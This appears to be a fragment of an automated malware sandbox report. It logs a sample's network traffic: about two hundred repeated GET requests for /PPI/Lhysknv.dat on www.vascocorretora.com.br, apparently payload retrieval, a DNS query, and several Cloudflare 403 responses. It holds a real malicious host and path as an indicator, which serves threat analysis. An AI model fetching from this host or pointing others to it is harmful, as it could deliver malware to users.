Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br

Source: global traffic

DNS traffic detected: DNS query: www.vascocorretora.com.br

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ItEmowWlMx70dni%2FvA0VERexwQegBX3EZAbTi5PKbfx8HG6Si9brFBpTl9aLRJDUZ1FRDaDImcuc7ANyIbo7jF5P7OK7ympcv53%2BBjZO66YddQQqDBIZNwF%2BmtXx033Hr0DPKJRvEvnmqtxQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5c36c4d0ca2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1504&rtt_var=792&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1941489&cwnd=32&unsent_bytes=0&cid=9e6fae44494c757b&ts=174&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0e2HOjym28hLPaFTQ9B0Fmye%2BuU%2BrzGqnqbynBDSQBhA7RpYFObkG2zCM848I6eYnOMJtU3Jq5EiPwLEtmeF6%2FM4uxVwpGV9lmFf1nKiV23cw%2BHDoDSmmWsI9zdS2pj6AbGDTwF84rkkRq0c"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5c719430f9d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1468&min_rtt=1463&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1937624&cwnd=193&unsent_bytes=0&cid=51c8b1d2d619662b&ts=120&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eLl88fKDJOGi7kUNScMN9qiZNrFSe8TiYcvVmwaaq%2B2N38fHZwuBkYdnCm43%2FsKWN4LvtjCU9tE0Ll%2FJBP8DErKBzndNr6s9KF%2FIbKXnhm%2FE6C6Ro%2BLcSupvxBHqCA1X81b0af82QIF%2BijuI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5cb2ce50f42-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1468&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1923583&cwnd=180&unsent_bytes=0&cid=3ba0ea6ba401af69&ts=187&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kZ3KtyFaWKcAaciHVvVftWYFp02xezQkOdSlFmwnhbcoOMzGSEhYhUSAnDv89iiWr7Nm4goJqcWqRTYPMv%2F1eZWSdUUnwRpqwAxJaBXsz9pWgvHbtlEriUmi8%2F%2BOSrevu7iw5F6xpRhmzM3H"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b5ceea07726b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=1980&rtt_var=760&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1474747&cwnd=238&unsent_bytes=0&cid=0faba6ca1095efa0&ts=139&x=0"
